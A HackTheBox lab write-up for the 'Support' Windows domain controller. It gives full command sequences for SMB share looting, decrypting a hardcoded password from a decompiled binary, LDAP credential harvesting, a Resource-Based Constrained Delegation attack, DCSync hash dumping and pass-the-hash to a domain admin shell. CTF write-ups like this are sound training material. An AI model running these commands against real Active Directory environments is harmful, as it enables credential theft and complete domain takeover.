Skip to content
HackIndex logo

HackIndex

Support Writeup - HackTheBox

Easy Windows
HackTheBox Discuss on Discord

Last updated July 14, 2026 • 5 min read

Joshua

HackIndex Creator

Discovery

The scan confirms a Windows Server 2022 domain controller. The domain is support.htb and the DC hostname is dc.support.htb. Key ports: DNS/53, Kerberos/88, LDAP/389 and 3268, SMB/445, WinRM/5985, and ADWS/9389. Add both names to /etc/hosts before proceeding. Also sync the clock to the DC to avoid Kerberos skew issues.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows
┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP dc.support.htb
┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP support.htb
┌──(kali㉿kali)-[~]
└─$ sudo timedatectl set-ntp false
┌──(kali㉿kali)-[~]
└─$ sudo ntpdate $TARGET_IP 
[+] Added: 10.129.23.112 → dc.support.htb
[+] Added: 10.129.23.112 → support.htb
2026-04-05 14:25:11.814917 (+0200) +2.880306 +/- 0.004542 10.129.23.112 s1 no-leap

Enumeration

SMB — support-tools Share

SMB allows guest/null auth. Two shares are readable without credentials: IPC$ and support-tools. The tools share contains standard portables plus a custom ZIP: UserInfo.exe.zip.

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u 'Guest' -p '' --shares 
SMB  10.129.23.112  445  DC  [+] support.htb\Guest:
SMB  10.129.23.112  445  DC  Share           Permissions
SMB  10.129.23.112  445  DC  ADMIN$                          NO ACCESS
SMB  10.129.23.112  445  DC  C$                              NO ACCESS
SMB  10.129.23.112  445  DC  IPC$            READ
SMB  10.129.23.112  445  DC  NETLOGON                        NO ACCESS
SMB  10.129.23.112  445  DC  support-tools   READ
SMB  10.129.23.112  445  DC  SYSVOL                          NO ACCESS
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/support-tools -U 'Guest' -N -c 'get UserInfo.exe.zip' 
getting file \UserInfo.exe.zip of size 277499

Reversing UserInfo.exe — Hardcoded LDAP Credentials

The ZIP contains a .NET executable. Decompile it with ilspycmd to recover the source. The UserInfo.Services.Protected class holds a hardcoded base64-encoded password XOR'd with the key armando and 0xDF:

┌──(kali㉿kali)-[~]
└─$ unzip UserInfo.exe.zip -d UserInfo
┌──(kali㉿kali)-[~]
└─$ ilspycmd -p -o reverse_userinfo UserInfo/UserInfo.exe 
// UserInfo.Services.Protected
internal class Protected
{
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
        {
            array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF);
        }
        return Encoding.Default.GetString(array2);
    }
}

Decrypt the password by replicating the XOR routine — base64-decode the ciphertext, then XOR each byte against the repeating key armando and 0xDF. Use CyberChef or a quick Python snippet:

import base64

enc = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc)
result = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
print(result.decode())

The decrypted password belongs to the ldap service account, which the binary uses to query Active Directory. Verify it authenticates:

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u ldap -p '$LDAP_PASSWORD' 
LDAP  10.129.23.112  389  DC  [+] support.htb\ldap:$LDAP_PASSWORD

LDAP Enumeration — Password in info Field

With valid domain credentials, dump all user objects. The support account has a cleartext password stored in its info attribute:

┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "[email protected]" -w '$LDAP_PASSWORD' \
-b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info memberOf 
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
sAMAccountName: support
info: $SUPPORT_PASSWORD
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb

The support account is a member of Remote Management Users, so WinRM access is available directly.

Initial Access

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc.support.htb -u support -p '$SUPPORT_PASSWORD' 
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> hostname
dc

Privilege Escalation

BloodHound — Shared Support Accounts → GenericAll on DC

Upload and run SharpHound to map the AD attack paths:

┌──(kali㉿kali)-[~]
└─$ upload /path/to/SharpHound.exe
┌──(kali㉿kali)-[~]
└─$ .\SharpHound.exe -c All --zipfilename bh.zip
┌──(kali㉿kali)-[~]
└─$ download 20260405062147_bh.zip 
Info: Upload successful!
Enumeration finished in 00:00:08
Status: 311 objects finished
Info: Download successful!

BloodHound shows: support is in Shared Support Accounts, which has GenericAll on the domain controller object DC$. GenericAll on a computer object enables Resource-Based Constrained Delegation (RBCD) abuse — the attack creates a fake machine account, grants it delegation rights over DC$, requests a service ticket impersonating Administrator, and uses that ticket to DCSync.

RBCD Attack — Create Fake Computer

┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer support.htb/support:'$SUPPORT_PASSWORD' \
-computer-name 'FAKE$' -computer-pass 'Wachtwoord123!' \
-dc-ip $TARGET_IP 
[*] Successfully added machine account FAKE$ with password Wachtwoord123!.
┌──(kali㉿kali)-[~]
└─$ impacket-rbcd support.htb/support:'$SUPPORT_PASSWORD' \
-delegate-from 'FAKE$' -delegate-to 'DC$' \
-action write -dc-ip $TARGET_IP 
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] FAKE$ can now impersonate users on DC$ via S4U2Proxy
┌──(kali㉿kali)-[~]
└─$ impacket-getST support.htb/'FAKE$':'Wachtwoord123!' \
-spn 'cifs/dc.support.htb' \
-impersonate Administrator \
-dc-ip $TARGET_IP 
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

DCSync — Dump Administrator Hash

Load the Kerberos ticket and use secretsdump to pull the Administrator NTLM hash from NTDS.DIT via DRSUAPI:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME='Administrator@[email protected]'
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -k -no-pass dc.support.htb -just-dc-user Administrator 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATOR_HASH:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f5301f54fad85ba357fb859c94c5c31a6abe61f6db1986c03574bfd6c2e31632
[*] Cleaning up...

Pass the NTLM hash to WinRM:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc.support.htb -u Administrator -H $ADMINISTRATOR_HASH 
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
support\administrator

Domain Administrator shell obtained.

Related

SMB Share Enumeration
Blog

SMB Share Enumeration

Enumerate SMB shares using tools like smbclient, crackmapexec, and enum4linux to discover exposed ne...
LDAP Authenticated User Group Enumeration
Blog

LDAP Authenticated User Group Enumeration

Enumerate Active Directory user groups via authenticated LDAP queries using tools like ldapsearch, B...
BloodHound and SharpHound Collection
Blog

BloodHound and SharpHound Collection

Covers deploying SharpHound to collect AD relationship data and ingesting results into BloodHound to...
RBCD – Resource-Based Constrained Delegation Abuse
Blog

RBCD – Resource-Based Constrained Delegation Abuse

Abuses msDS-AllowedToActOnBehalfOfOtherIdentity to gain delegated access, enabling impersonation of...
DCSync and Domain Takeover
Blog

DCSync and Domain Takeover

Exploits DCSync attack via replication privileges to extract password hashes from AD, enabling crede...

References